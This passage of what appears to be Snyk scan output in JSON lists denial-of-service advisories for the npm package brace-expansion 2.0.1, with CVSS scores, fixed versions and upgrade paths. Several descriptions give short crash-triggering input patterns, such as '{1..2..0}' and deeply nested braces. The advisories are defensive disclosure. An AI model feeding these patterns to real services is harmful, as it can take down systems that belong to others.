"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n",
"epssDetails": {
"percentile": "0.48810",
"probability": "0.00647",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-69152"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.8.2",
"libnpmpack@7.0.4",
"@npmcli/arborist@7.5.4",
"@npmcli/metavuln-calculator@7.1.1",
"pacote@18.0.6",
"@npmcli/run-script@8.1.0",
"node-gyp@10.1.0",
"glob@10.4.2",
"minimatch@9.0.5",
"brace-expansion@2.0.1"
],
"upgradePath": [
false,
"npm@10.9.0",
"libnpmpack@8.0.5",
"@npmcli/arborist@8.0.5",
"@npmcli/metavuln-calculator@8.0.1",
"pacote@20.0.1",
"@npmcli/run-script@9.1.0",
"node-gyp@11.5.0"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.1"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
